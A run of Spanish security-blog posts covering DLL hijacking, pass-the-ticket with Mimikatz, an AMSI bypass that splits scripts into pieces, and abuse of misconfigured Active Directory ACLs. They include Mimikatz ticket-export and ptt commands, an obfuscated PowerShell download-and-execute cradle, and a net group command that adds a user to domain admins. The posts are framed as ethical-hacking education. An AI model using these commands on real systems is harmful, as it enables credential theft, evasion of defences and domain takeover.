Qué es una DLL y en qué consiste el DLL Hijacking

La primera vez que nos topamos con el concepto de DLL Hijacking puede resultar un poco tedioso o difícil de comprender. Es habitual acudir a tutoriales y vídeos sobre este ataque para luego replicarlo - y en El lado del mal se ha hablado muchas veces de DLL Hijacking - y comprender en qué consiste. Aunque esto es una buena idea, creo que merece la pena invertir algo de tiempo en comprender algunos fundamentos teóricos relacionados con las DLLs y la forma en la que impacta en la seguridad de Windows.

Figura 1: Qué es una DLL y en qué consiste el DLL Hijacking

Además, como los más expertos saben, esta técnica de DLL Hijacking es una de las utilizadas en esquemas de elevación de privilegios, bypass de AMSI, evadir AppLocker, y, por supuesto, para escapar del User Account Control, en proyectos de Red Team que necesitan de realizar un Hacking de Windows, por lo que hay que conocer los detalles de esta técnica para avanzar en nuestros proyectos de Ethical Hacking.

Figura 2: Libro de Hacking Windows en 0xWord
de Valentín Martín, Carlos García y Pablo González

Para entender lo que es una DLL y la función que cumple vamos a prestar atención a su nombre: Biblioteca de Enlace Dinámico. Si programas en algún lenguaje compilado, como los de la familia del lenguaje de programación C, sabrás que una biblioteca no es otra cosa que un archivo que contiene código (como un conjunto de funciones) ya compilado y listo para ser usado en nuestros propios desarrollos.

Esto nos permite reutilizar código optimizado, testado y bien documentado para ahorramos trabajo y no “reinventar la rueda” como se suele decir. Para hacer uso de una biblioteca, un programa llamado "linker" tiene que enlazar (o vincular) esa biblioteca con nuestro código. Este enlace puede hacerse de dos formas distintas: de forma estática (Static Linking) o de forma dinámica (Dinamic Linking).

Enlace estático (Static Linking)

En este caso el "linker" enlaza la biblioteca justo después de compilar nuestro código y como resultado de este enlazamiento se obtiene el ejecutable final. A efectos prácticos se puede entender este proceso como si el "linker" hiciese un “copia y pega” de las funciones de la biblioteca estática directamente a nuestro código.

Esta forma de enlazar una biblioteca tiene sus ventajas y sus inconvenientes. Imagina que en tu sistema están corriendo diez programas que hacen uso de una misma biblioteca. Cada uno de esos programas tendría que haberse compilado y enlazado con la biblioteca, aumentando el peso de cada ejecutable en el disco y el espacio que ocupa el proceso en la memoria. Que cada uno de estos programas cargue la misma biblioteca en memoria es algo que no parece muy eficiente, por esta razón existe el enlace dinámico.

Enlace Dinámico (Dinamic Linking)

Para solucionar esta duplicidad de bibliotecas cargadas en la memoria y obtener ejecutables más ligeros se hace uso de bibliotecas compartidas o de enlace dinámico: las famosas DLLs de Windows o los archivos .so (shared object) que tan importantes son también para la seguridad y la explotación de vulnerabilidades en GNU/Linux. 

Figura 3: Diferencias entre el enlace estático y el enlace dinámico de bibliotecas

En esencia, estas bibliotecas se cargan en un espacio propio de la memoria del sistema y pueden ser accedidas por uno o varios procesos en tiempo de ejecución. Siguiendo con el ejemplo anterior; esos diez procesos harían uso de una misma biblioteca compartida que se ha cargado una sola vez en una partición de la memoria. En la figura anterior se ve más claramente las diferencias entre estas dos formas de vinculación:

La búsqueda predefinida de DLLs en Windows

En posteriores artículos de esta serie profundizaremos más en la manera en la que se vinculan los ejecutables de Windows con las DLLs, pero de momento nos basta con saber que hay dos formas de hacerlo: mediante la vinculación implícita y la explícita.

• Vinculación implícita (Implicit linking): las DLLs se cargan en la memoria a la vez que el programa que las usa. Es decir, Windows busca las DLLs que tiene que cargar al ejecutar el programa.

Figura 4: Prototipos para LoadLibraryW y LoadLibraryExW

• Vinculación explícita (Explicit linking): en este caso el sistema carga las DLLs cuando son llamadas por el programa mientras éste se está ejecutando. Esto se consigue mediante el uso de las funciones LoadLibrary y LoadLibraryEx cuyos prototipos son los de la figura anterior.

Lo importante aquí es el parámetro lpLibFileName que reciben estas funciones y que puede hacer referencia a la ruta absoluta o también al nombre de la DLL que el sistema debe cargar. Si la DLL se vincula implícitamente o si en la vinculación explícita no se especifica una ruta en la función LoadLIbrary/LoadLibraryEx, el sistema operativo Windows se encarga de buscar la DLL siguiendo un orden preestablecido. Conocer este comportamiento de Windows es el primer paso para entender el DLL Hijacking, por eso merece la pena prestarle atención a la siguiente figura:

Figura 5: Orden de búsqueda de DLLs de Windows

Antes de buscar la DLL en los archivos del sistema Windows hace dos cosas. Primero comprueba si la DLL está ya cargada en memoria. En caso afirmativo el proceso de búsqueda, se para aquí. Después comprueba si la DLL pertenece a una lista conocida como "Known DLLs". Si está en esa lista, el sistema usará su propia copia de la DLL (incluyendo las dependencias de esa DLL). Puedes encontrar la lista de los "Known DLLs" para tu sistema en el registro:

Figura 6: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs.

En cualquiera de estos dos casos la DLL se vinculará con el programa y no existirá oportunidad para un ataque de DLL Hijacking. De otra forma, cuando la DLL no está cargada en memoria y no pertenece a las Known DLL Windows buscará la DLL en los directorios en el orden especificado en la figura anterior.

Figura 7: Máxima Seguridad en Windows Gold Edition
de Sergio de los Santos en 0xWord

De todos estos directorios los más interesantes de cara a un ataque DLL Hijacking son los sombrados en rojo: el propio directorio de la aplicación y aquellos directorios definidos en la variable del sistema %PATH%, ya que son aquellos que tienen mayor probabilidad de contar con permisos mal configurados.

¿Qué es el secuestro de DLL o DLL Hijacking?

Llegados a este punto podemos definir el DLL Hijacking como el abuso de esta búsqueda sistemática de Windows mediante la detección de permisos mal configurados en los directorios en los que se buscan las DLLs. El objetivo de un ataque de DLL Hijacking es aprovechar permisos de escritura en uno de estos directorios para depositar en él una DLL con el mismo nombre que la DLL legítima pero que contenga código malicioso. 

De esta manera el sistema encontrará y cargará esa DLL antes que la DLL legítima que se pretendía cargar. El código malicioso que se introduce en la DLL suele tener el objetivo de elevar privilegios en el sistema, si el proceso que carga esa DLL se ejecuta con privilegios altos, o de generar persistencia si es un proceso que se ejecuta frecuentemente o al iniciarse el sistema.

Figura 8: DLL Hijacking para hacer un bypass de UAC en Windows 10
Aunque el concepto es siempre el mismo, se puede hablar de diferentes variantes o técnicas de DLL Hijacking. Al buscar información sobre este ataque es probable que te encuentres con términos como DLL Sideload o Phantom DLL Hijacking:

• DLL Sideload: Cuando se cuenta con permisos de escritura en un directorio que aparece en el orden de búsqueda antes que el directorio donde se encuentra el DLL legítimo. En ese directorio se pondrá la DLL maliciosa.

• Phantom DLL Hijacking: Cuando el DLL no se encuentra en ninguno de los directorios donde se busca y se tienen permisos de escritura en alguno de estos directorios, por lo que se depositará la DLL maliciosa ahí.

Cómo protegerse del DLL Hijacking

Desde el punto de vista de un programador puedes proteger tu programa del DLL Hijacking teniendo en cuenta algunas buenas prácticas de desarrollo:

1) Usar el Full Path de la DLL en las funciones LoadLibraryW / LoadLibraryA y consultar la documentación de las funciones LoadLibraryExW / LoadLibraryExA ya que permiten usar flags para modificar el comportamiento de búsqueda de DLLs por defecto. También hay que tener en cuenta que, cuando la DLL que se va a cargar tiene dependencias, éstas dependencias van a ser buscadas por Windows mediante la búsqueda sistemática habitual incluso cuando hemos especificado el Full Path para esa DLL.

2) Siempre que sea posible se deberían usar DLL firmadas y verificar esa firma antes de cargar la DLL en la memoria. Otra opción es comprobar el hash de la DLL para evitar cargar un DLL cuya integridad ha sido comprometida.

3) No es recomendable instalar programas en la raíz de una partición (por ejemplo: “C:\”) ya que por defecto los directorios creados en la raíz conceden permisos de escritura a cualquier usuario autenticado y es fácil olvidar configurarlos correctamente.

Y, por supuesto, una vez desarrollada tu aplicación conviene analizar su comportamiento para saber si es vulnerable al DLL Hijacking. Esto mismo es lo que haremos en el siguiente artículo de la serie, junto a una demostración del ataque en una aplicación vulnerable.

Saludos,  

Autor: Roberto Aranda  (Conseguir 100 Tempos para MyPublicInbox gratis con ESET)

Contactar con Roberto Aranda

Pentesting en Active Directory: Pass-the-ticket & Mimikatz

En el lado del mal hemos hablado de mucho Ethical Hacking durante años. Hemos hablado de herramientas como Mimikatz, quizá una de las más potentes y utilizadas en el Hacking de redes Windows internamente. Técnicas como, pass-the-hash, pass-the-ticket, golden & silver ticket, que Benjamin Delpy se ha encargado de ir metiendo a su querido Mimikatz. Con Benjamin Delpy coincidimos en la Euskalhack 2018 y fue bastante emocionante poder disfrutar de sus conocimientos en el congreso y en las cenas.

Figura 1: Pentesting en Active Directory: Pass-the-ticket & Mimikatz

Hoy no voy a hablar de algo nuevo que trae Mimikatz, si no que quiero hablar de conceptos de autenticación en el Active Directory, en este caso en Windows Server 2016, y cómo podemos aplicar la técnica Pass-the-ticket. Esta técnica tiene su análoga con pass-the-hash, de la cual ya hemos hablado en el blog en más de una ocasión.

 

Figura 2: Libro de Hacking Windows

Antes de entrar en materia, quiero recordar algunos de los artículos relacionados con Mimikatz que hemos ido haciendo y viendo en su momento. Es una navaja suiza en toda regla, con más de 9 años de desarrollo y sigue dando mucha guerra. Es algo digno de admirar. Recuerdo cuando salió DCShadow y la foto del niño que quería llegar a ser un Domain Controller. Hemos visto cómo poner una Skeleton Key al Domain Controller. Con Mimikatz hemos visto cómo extraer credenciales de memoria haciendo un minidump al proceso lsass.exe. También vimos como Zerologon llegaba a Mimikatz hace unos meses.

Kerberos in a nutshell

Si nos preguntamos qué es Kerberos, lo encontramos muy bien explicado en este post de los compañeros de Tarlogic. Podemos decir que es un protocolo de autenticación utilizado, por ejemplo, en el Active Directory. La idea del protocolo es que se sirvan una serie de tickets (o "vales" en alguna traducción al castellano, en alguna documentación) para poder acceder a ciertos recursos en el dominio. Podemos decir que existen tres roles diferentes dentro del esquema de autenticación en Kerberos:

- Usuario o cliente. Éste será el que pida el ticket y tenga que autenticarse para poder acceder al recurso. 

 

- KDC o Key Distribution Center. Éste es el servicio Kerberos. Se encarga de gestionar y emitir los tickets que serán utilizados por los clientes para acceder a los recursos o servicios. 

 

- AP o servicio de aplicación. Al final es el recurso al que el cliente quiere acceder. Lo hará a través del uso de un ticket que verifique que puede acceder al recurso.

Hay una serie de elementos clave que juegan un papel fundamental en la ecuación. A continuación, os dejo un resumen de las diferentes claves:

- Del usuario: Ésta será un hash (o un derivado más bien) ntlm. 

 

- De la cuenta krbtgt: El hash ntlm de la cuenta del KDC en el Domain Controller. 

 

- Del servicio: El servicio expuesto en el dominio tendrá una cuenta de servicio o de usuario que será el que lo habrá lanzado. 

 

- De sesión: Clave obtenida entre la negociación del KDC y del cliente. 

 

- De sesión de servicio: Clave obtenida para utilizarla entre el cliente y el servicio.

Ahora hablemos de los tickets. El primer ticket que trataremos es el TGT o Ticket Granting Ticket. Lo presentaremos ante el KDC para obtener el TGS o Ticket Granting Service. El TGT será cifrado con la clave del KDC, es decir, la clave derivada de la cuenta del krbtgt. A esto volveremos más adelante. El TGS se obtiene de un TGT enviado al KDC. El TGS lo presentaremos al servicio que tiene el recurso al que queremos acceder. El TGS es cifrado con la clave de servicio.

¿Cuál es el flujo normal de todo esto?

A priori, puede parecer algo complejo, pero no es así. Vamos a intentar simplificar el proceso. Partimos de tres máquinas con las siguientes configuraciones:

- Máquina Windows 10, la llamaremos A, en la que estoy yo.

- Domain Controller, la llamaremos KDC, con Windows Server 2016.

- Máquina Windows Server 2016, la llamaremos R de recurso, que no es Domain Controller o máquina Windows 10 que tiene un servicio al que queremos acceder.

Lo primero es solicitar un ticket TGT. Para ello mi máquina A envía una petición KRB_AS_REQ a la máquina KDC. En este mensaje la máquina A envía información como un timestamp que está cifrado con una clave derivada del hash del usuario, es decir, del hash de mi contraseña de dominio. En esta petición se envía el nombre de usuario, el SPN para la cuenta krbtgt y un nonce.

Cuando el KDC recibe esto, se valida la información cifrada, para ver si la clave de dicho usuario es correcta, es decir, descifra el contenido del timestamp. El KDC va a producir la respuesta KRB_AS_REP. En esta respuesta se envían varias cosas como, por ejemplo, el nombre de usuario, el ticket TGT y unos datos cifrados con la clave del usuario.

Estos datos cifrados con la clave del usuario, al volver a la máquina A podrían ser descifrados. ¿Qué me está devolviendo el KDC? La clave de sesión, que será importante, la fecha de expiración del TGT y un nonce. El ticket suele tener una validez de 10 horas. Esto puede ser alterado, y mucho, en un ataque Golden Ticket o Silver Ticket. ¿Qué encontramos en el TGT? Encontraremos el nombre de usuario, la clave de sesión de nuevo, la fecha de expiración y el PAC. El PAC es una estructura de datos que trae información sobre los privilegios. El TGT está cifrado con la clave de la cuenta krbtgt, es decir, con el KDC.

 

Figura 3: Máxima Seguridad en Windows Gold Edition

Ahora tenemos un ticket TGT en la máquina A. Este ticket nos vale para solicitar un TGS y poder acceder al recurso dentro del Active Directory que me interese y tenga acceso, claro. Desde la máquina A a la máquina KDC enviamos una petición KRB_TGS_REQ. Esta petición contiene lo siguiente:

- El nombre de usuario y timestamp cifrados con la clave de sesión. 

 

- El TGT que nos ha enviado en el paso previo, el cual se encuentra cifrado con la clave de krbtgt, es decir, con el KDC. 

 

- El SPN y un nonce.

Si todo sigue su curso, ¿qué nos devuelve el KDC? La máquina KDC envía una respuesta KRB_TGS_REP a la máquina A. En ella encontraremos:

- El nombre de usuario. 

 

- La clave de sesión, la fecha de expiración del TGS y un nonce cifrados con la clave de sesión. 

 

- La clave de sesión de servicio (esta es importante), nombre de usuario, fecha expiración del TGS y el PAC. Todo ello cifrado con el hash de la cuenta propietaria del servicio.

Ahora tenemos el ticket TGS. Ahora solo debemos enviarlo a la máquina R, la cual es la que tiene el recurso al que queremos acceder. Desde la máquina A se hace una petición KRB_AP_REQ a la máquina R. En esta petición se envía el ticket TGS cifrado con la clave de la cuenta propietaria del servicio.

Figura 4: Esquema de funcionamiento de Kerberos

Luego el nombre de usuario y el timestamp van cifrados con la clave de sesión de servicio. Cuando esta información llega a la máquina R, se valida y se da acceso al recurso. En la imagen del artículo de Tarlogic se detalla muy bien.

Ahora: Pass-the-ticket

Tras explicar el funcionamiento básico del protocolo Kerberos, vamos a ver un ataque llamado Pass-the-ticket y que consiste en hacer algo similar al Pass-the-hash pero en un entorno de Windows Server 2016 con un Active Directory. Es decir, haremos una suplantación de usuario, en vez de utilizando el hash ntlm de la cuenta del usuario, utilizaremos un ticket Kerberos con validez y que pertenezca a dicho usuario.

Figura 5: Libro Windows Server 2016:
Administración, Seguridad y Operaciones

¿Dónde podemos encontrar estos tickets? Al final cualquier máquina de un dominio hace uso de Kerberos, por lo que los tickets se encuentran en cada una de esas máquinas. Al llegar a una máquina de dominio, comprometerla y escalar privilegios, podemos hacer uso de Mimikatz para sacar partido en el Ethical Hacking.

Figura 6: Uso de klist

Con la herramienta klist podemos ver los tickets que se encuentran almacenados en la sesión del usuario. Es decir, los que utilizara cuando quiera acceder a los recursos de una máquina del dominio. Los tickets pueden ser TGT o TGS. En el caso de tener el TGT se hará el proceso para conseguir el TGS y llegar al recurso deseado. Si utilizamos Mimikatz con su módulo sobre Kerberos tenemos muchas opciones:

- La opción ptt. Nos permitirá hacer el Pass-the-ticket. 

 

- La opción list. Nos lista los tickets que tenemos en memoria en nuestra sesión. 

 

- La opción purge. Permite eliminar tickets de memoria en nuestra sesión. 

 

- La opción tgt. Para ver qué ticket estamos usando en memoria. 

 

- La opción golden. Nos permite generar Golden Tickets y Silver Tickets, pero esto lo hablaremos en otro artículo.

Con la instrucción “sekurlsa::tickets” podemos ver los tickets que hay en memoria en la máquina, los nuestros y los de otros usuarios. Esto es bastante poderoso, ya que podemos sacarle mucho juego. Por ejemplo, hacer la suplantación de otro usuario. Con la opción “sekurlsa::tickets /export” exportaremos todos los tickets a disco, con extensión *.kirbi.

Si nos quedamos con los ficheros kirbi que contienen “*Administrador@krbtgt*” tendremos un TGT y viendo la palabra Administrador o Administrator podemos pensar que estamos de suerte. En otras ocasiones, quizá solo nos interesa utilizar otros tickets para poder llegar a ciertos recursos. No todo es ser admin.

Figura 7: Ejecución de kerberos::ptt en Mimikatz

Ahora, nos vamos con los tickets recogidos a otra máquina. Podemos usarlos en máquinas que estén o no estén en el dominio. Es decir, podemos llevárnoslo a nuestra máquina y trabajar tranquilamente. Para hacer el pass-the-ticket ejecutamos "kerberos::ptt [ticket.kirbi]". Con el ticket anterior, intentamos leer el recurso c$ del Domain Controller y obtenemos la respuesta deseada. Tenemos acceso al Domain Controller.

Figura 8: Acceso al Domain Controller conseguido

La idea del artículo es mostrar cómo funciona Kerberos y mostrar un ejemplo de ataque en el Active Directory  a Kerberos. Existen muchas posibilidades y es un mundo interesante que se debe conocer para un pentesting interno en una organización. Sin duda, interesante el mundo Kerberos y sus ataques.

Saludos,

Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters: Gold Edition", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root",  “Pentesting con Powershell (2ª Edición)”, "Pentesting con Kali Silver Edition" y de "Empire: Hacking Avanzado en el Red Team", Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDCO de Telefónica.  Para consultas puedes usar el Buzón Público para contactar con Pablo González - Conseguir 100 Tempos Gratis en MyPublicInbox

 Contactar con Pablo González

Hacking Windows10: Troceando scripts para lograr el bypass de AMSI

Desde hace ya tiempo hemos trabajado con el sistema AMSI (Anti Malware Scan Interface) de Windows 10 para entenderlo, conocerlo y en lo que podamos, mejorar su funcionamiento descubriendo sus límites. Desde luego que es una protección más que interesante y que permite detectar ciertas instrucciones maliciosas en lenguajes de scripting como Javascript, Powershell o VBS antes de que sean ejecutadas. Es una forma de llegar donde el antivirus (AV) no puede llegar o, mejor dicho, de enterarse lo que pasa en un proceso cuando el AV no puede enterarse “per se”.

Figura 1: Hacking Windows10: Troceando scripts para lograr el bypass de AMSI

En Ideas Locas hemos llevado a cabo la creación de la herramienta ATTPwn, de la que ayer os contábamos las novedades de la nueva versión, y en la que pusimos mucho “cariño”. Esta herramienta de emulación de amenazas nos ha permitido enfrentarnos con el juego del gato y del ratón que presenta AMSI, como cualquier otra protección. Ya hemos hablado en el blog de estas cosas como, por ejemplo, con el artículo de ofuscación, bypass manual y AMSI.fail.

Figura 2: ATTPwn en GitHub

Trabajando últimamente con ATTPwn y mostrándolo en diversas conferencias nos hemos dado cuenta de la rapidez con la que AMSI ayuda a detectar ATTPwn o la consola que es el código de inicio en Powershell. Si estudiamos a Metasploit y el módulo web_delivery con su opción de Powershell podemos ver que, en las nuevas versiones, se ejecuta primero un bypass para AMSI, si estás en Windows 10, y posteriormente se ejecuta el Meterpreter o payload que hayas configurado.

Figura 3: Metasploit para Pentesters Gold Edition

Esto no es más que un ejemplo de la necesidad hoy en día de conocer las posibilidades de bypassear un AMSI en un Ethical Hacking y, lo más importante, ser capaces de modificar cualquier tipo de script que haga un bypass de AMSI para que, una vez detectado, podamos hacerlo de nuevo “indetectable”. De esto vamos a hablar en este artículo.

Cuando tu código de Powershell orientado a Pentesting es detectado

Cuando un código que hacía algo importante para tu Ethical Hacking es detectado por un AV, gracias a la implementación en ese proceso de AMSI, es un “problema”. ¿Qué podemos revisar? Sabemos que si ofuscamos el código puede que el AV no lo detecte como malicioso, pero ¿tengo más opciones? Sí. En la imagen se puede ver la consola de ATTPwn siendo detectada por AMSI.

Figura 4: Consola de ATTPwn detectada por AMSI 

Podemos abrir un ISE Powershell y comprobar paso a paso qué es lo que funciona y qué es lo que es detectado. Esto nos permite tener una primera visión del problema. Es una forma de aislar y acotar el problema. Pensemos que si tengo un script de 10 líneas y lo ejecuto sin más y es detectado, tengo que dividir el problema. Recuerda “divide y vencerás”. Mi script de 10 líneas puede ejecutarse en una Powershell de 2 líneas en 2 líneas. Si ejecuto las 2 primeras líneas y todo va bien, significa que AMSI no se “queja”. Podemos reducir el problema a:

1. Ejecuta 2 primeras líneas de mi script 10 de líneas.

2. Si todo va bien, ejecuto las siguientes 2.

3. Si todo va bien… así hasta llegar a las 10 líneas de mi script.

4. Si no se ha quejado y la funcionalidad se ha acabado ejecutando significa que puedo operar “troceando” la función o el script. Sin necesidad de ofuscar.

Si lo llevamos al plano de bypass de AMSI, nosotros nos encontramos con el problema de que la consola de ATTPwn era detectada y el usuario puede entender que la aplicación no funciona. No es cierto, es algo con lo que uno se debe enfrentar y dar solución. El usuario puede modificar el cómo se ejecuta dicho código, ofuscarlo, modificarlo, hacer lo que sea para evitar la protección. 

Figura 5: Libro de Pentesting con PowerShell 2ª Edición

Una estrategia para solventar el problema, que puede que en el futuro lo vuelvan a detectar, es la de trocear el bypass de AMSI de rasta-mouse, el cual está en ibombshell y en ATTPwn. El objetivo es evitar que esta función sea detectada por AMSI y ejecutarla. Posteriormente ejecutaríamos ATTPwn sobre un proceso sin AMSI, ¿Cómo lo haremos? Lo veremos un poco más adelante.

Figura 6: Deshabilitar envío de muestras en MS Windows Defender 

Una recomendación cuando se está “jugando” con todo esto es tener la máquina virtual sin conexión a Internet si no queremos que se actualicen las firmas y/o deshabilitar la subida de las muestras. Esto se puede hacer desde Windows Defender de forma sencilla, aunque si la máquina no tiene conexión a Internet nos valdría.

Utilizando un bypass “Classic” más lo que hemos aprendido

Ahora, vamos a ver cómo troceamos el script para que podamos hacer el bypass de AMSI y nuestra consola de ATTPwn no sea “cazada” como maliciosa. Antes de nada, hay que pensar en, si podríamos hacerlo con un bypass de “classic”. Es cierto que modificando la línea ‘iex(new-object net.webclient).downloadstring(‘[URL consola]’) y metiendo alguna concatenación de strings se puede lograr, si la detección está basada en la firma de la URL. En el caso de que sea por contenido de la función consola, así no lo lograremos.

Figura 7: Parte 1 del script

La mentalidad de la estrategia es “una vez ejecutado algo, ya está ejecutado, sigamos leyendo”. Esto quiere decir que, basándonos en el apartado anterior, podemos trocear la función de bypass de AMSI de rasta-mouse e invocarla lo primero. Una vez ejecutada, podremos ejecutar la consola sin problema. Vamos a ello.

Figura 8: Parte 2 del script

Lo primero es ver que tenemos 5 ficheros *.ps1 . En cada fichero tenemos un trozo de función de bypass de AMSI. El tercer fichero el código “troceado” lo puedes ver aquí.

Figura 9: Parte 3 del script

Ahora viene un problema con el que nos enfrentamos. Quisimos dividir de menos, es decir, en el fichero 4 queríamos terminar el bypass de AMSI y ejecutar la consola de ATTPwn. ¿Qué ocurrió? 

Figura 10: Intentando abrir la consola en la parte 4 del script 

En la Figura 10 puedes ver el código que hicimos, pero si probamos a ejecutar los scripts, veremos que el truco aquí no funcionará, tal como se ve en la imagen siguiente.

Figura 11: Fallo en la ejecución de la parte 4 

Era demasiado pronto, ya que la instrucción de descarga de la consola se detectaba como malicioso. Quizá con una concatenación de strings en la URL se arregle, pero mejor no dividir de menos.

Figura 12: Parte 4 del script, correcta. 

Así quedaría el fichero 4.ps1 y el fichero 5.ps1. Cada uno en su parcela para ver si podemos saltarnos el AMSI con este troceado.

Figura 13: Parte 5 del script 

La idea es ir ejecutando cada uno por separado, de modo que AMSI solo evaluará los ficheros que correspondan. Recordando lo de “una vez ejecutado, ejecutado queda” pues si el fichero 1.ps1 es evaluado como no malicioso y ejecutamos ese trozo, digamos que el AV no tiene memoria de lo que has ejecutado previamente. 

Figura 14: Ejecución de la función byp4ss

En ATTPwn hay una función que te devuelve una función, la que le pidas, para ser ejecutada. Esta función es “givemefunction”. De esta forma, directamente, se puede pedir una función y ser ejecutada antes de empezar con el flujo normal de una consola de ATTPwn que pide un plan de amenaza a emular. Recapitulando tenemos:

- 5 “snippets” de código que sumados ejecutan el bypass de AMSI 

- Un fichero llamado byp4ss que almacena la llamada iex(new-object net'.'webclient).downloadstring([URL]) a cada “snippet” de código. 

 

- El 5 fragmento de código es el de la llamada a la consola de ATTPwn. 

 

- Los 4 primeros fragmentos se irán ejecutando y la suma es el bypass de AMSI.

Cabe destacar que tanto la llamada de la función byp4ss como las realizadas dentro de ella, hasta lograr el bypass de AMSI, son realizadas con una ofuscación mínima pero necesaria para hacer posible la ejecución de dicho bypass. Se puede ver en el entrecomillado del punto en iex(new-object net'.'webclient).downloadstring([URL])

Figura 15: Resultados sin y con una ofuscación mínima para lanzar el bypass

Es una técnica que podréis utilizar en diversos Ethical Hacking o ejercicios de Red Team ya que los resultados son bastante buenos. Otra vía, como se ha dicho en este artículo es ir por la ofuscación. Es otra opción. Sea como sea, ya tienes disponible en la última versión de ATTPwn, la 0.2.1, la posibilidad de crear el código de warrior de esta forma, para “asegurarte” el bypass de AMSI en un entorno Windows 10, Windows Server 2016/2019. 

Saludos,  

Autores:

Luis E. Álvarez, desarrollador y miembro del equipo Ideas Locas CDCO de Telefónica.

Figura 16: Contactar con Luis Eduardo Álvarez en MyPublicInbox

Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root",  “Pentesting con Powershell”, "Pentesting con Kali Silver Edition" y de "Empire: Hacking Avanzado en el Red Team", Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDCO de Telefónica.  Para consultas puedes usar el Buzón Público para contactar con Pablo González - Conseguir 100 Tempos Gratis en MyPublicInbox

Figura 17: Contactar con Pablo González

Hacking Windows: Introducción a los ataques de “Abuse Active Directory ACLs & ACEs”

Las empresas han tenido y tienen un directorio activo para la organización de los recursos, la gestión de políticas de seguridad, para controlar las acciones, para un montón de finalidades. Es uno de los elementos clave cuando se hace un Ethical Hacking interno. Hay que saber manejarse con él, ya que las posibilidades que éste ofrece son casi infinitas.

Figura 1: Hacking Windows: Introducción a los ataques de
“Abuse Active Directory ACLs & ACEs”

En el pasado, hemos hablado de cómo llevar a cabo enumeración de usuarios con herramientas de Kali Linux a través de llamadas RPC. El pentesting a Directorio Activo abarca un gran número de técnicas, tanto de enumeración como de ataque que son interesantes estudiarlas. Es casi un “must” en los proyectos de Ethical Hacking.

Figura 2: Pentesting con Kali Silver Edition

Antes de hablar del tema del artículo de hoy, el cual es el cómo detectar que tenemos ACLs y ACEs en el Active Directory mal configuradas y que se puede aprovechar en un Hacking Windows de ello para tomar la identidad o privilegios de otro usuario, incluyendo alguna escalada de privilegio a "admin". del dominio, quería ver algunos comandos de interés que se pueden utilizar en las pruebas de hoy.

Figura 3: Hacking Windows: "Ataques a sistemas y redes Microsoft"

Pero antes de nada vamos a ver algunas órdenes útiles, ya que si se compromete un proceso de un usuario de dominio en un pentesting, se pueden ejecutar algunos de los siguientes comandos para recopilar cierta información. Lo primero es saber que el proceso que se ha comprometido pertenece a un usuario que está en dominio y no es un usuario local. Tenemos una serie de variables de entorno que estarán configuradas con información como, por ejemplo:

• USERDOMAIN. Indica el usuario de dominio que somos. Esto es equivalente al “getuid” de un Meterpreter. 

 

• LOGONSERVER. Esta variable de entorno nos dará información sobre el controlador de dominio que se ha utilizado para la autenticación. 

 

• El comando net user [usuario] /domain nos dará información sobre un usuario del dominio concreto. Lógicamente, esa máquina debe estar “atada” al dominio. 

 

• El comando net users /domain proporciona información sobre los usuarios del dominio. 

 

• El comando net groups /domain nos devuelve los grupos que hay en el dominio. 

 

• El comando net group [grupo] /domain devuelve información concreta de un grupo.

Para el artículo de hoy vamos a trabajar con Powersploit y, en particular, con PowerView. De este tipo de conjunto de scripts se habla bastante en el libro de Pentesting con Powershell 2ª Edición.

Abuse: Derechos de Generic All en grupos. A por la escalada

Existen muchas formas de detectar una mala configuración de permisos en el directorio activo. En algunas ocasiones se delegan permisos de forma no segura, quedando una mala configuración de permisos en el directorio activo. Esto es lo que vamos a aprovechar para poder escalar privilegios, metiéndonos en el grupo de administradores de dominio o tomando la identidad de otro usuario con o sin privilegios.

Figura 4: PowerSploit

Dar permisos de control total a un grupo de usuarios o a un usuario en concreto sobre algún objeto de Active Directory puede tener consecuencias graves. Con el comando Get-ObjectAcl de PowerView podemos encontrar este tipo de permisos interesantes.  Si nos fijamos en la siguiente instrucción:

‘Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Admins. del dominio,CN=Users,DC=hc,DC=local" -and $_.SecurityIdentifier -eq “[SID]”}’ 

nos vamos a fijar en el CN de Admins. Del Dominio y vamos a ver si el SID del usuario que hemos comprometido tiene algún tipo de permiso. El SID acabado en 1103 de la Figura 4 pertenece al usuario del proceso que hemos comprometido, es decir, tengo algún tipo de derecho sobre el CN de Administradores del Dominio. La sorpresa viene cuando vemos que ActiveDirectoryRights es ‘GenericAll’. 

 

Figura 5: Pentesting con PowerShell

Si revisamos la información del usuario ‘pablo’, que es el del SID acabado en 1103, vemos que no pertenece al grupo de Administradores del Dominio, pero tiene la posibilidad de pertenecer, ya que tiene permisos para ello, por una mala configuración. Este es un caso llevado al extremo, quizá no encontremos un usuario concreto, pero sí un grupo al que pertenece el usuario y podamos hacer lo mismo. O en otras ocasiones, no tendrá derechos ‘GenericAll’, pero quizá otro tipo de derechos menos ‘potentes’, pero que pueden dar el mismo resultado. Todo es ir mirando la configuración de las ACLs y los ACEs. 

Figura 6: Usuario 'pablo' no es Admin, pero podría serlo

Ahora, ejecutamos la instrucción net group “Admins. del dominio” pablo /add /domain y el usuario pertenecerá a los Administradores del Dominio, ya que por la mala configuración detectada se puede hacer. Como se puede ver en la imagen, se ha conseguido una escalada de privilegio de manera sencilla en el dominio.

Figura 7: Hemos hecho al usuario pablo administrador del dominio

Generic All sobre un usuario

En el caso de encontrarte un derecho ‘GenericAll’ sobre un usuario concreto podremos tomar la identidad de dicho usuario de manera sencilla. Puede haber o no escalada, dependiendo de los privilegios que tenga el usuario en el dominio, y de lo bien o mal que haya sido fortificado el servidor Windows Server a la hora de configurar su seguridad.

Figura 8: Windows Server 2016: Administración, Seguridad y Operaciones

La instrucción para consultar este hecho es la siguiente:

‘Get-ObjectAcl -SamAccountName [nombre_usuario] -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}’

De esta forma consultamos los permisos. En este caso lo hacemos sobre el usuario ‘fran’ y observamos que el usuario con SID acabado en 1103, es decir, el usuario ‘pablo’ tiene un control total sobre el objeto ‘fran’. De nuevo una mala configuración que permite, entre otras cosas, cambiar la credencial.

Figura 9: Pablo tiene control total sobre Fran

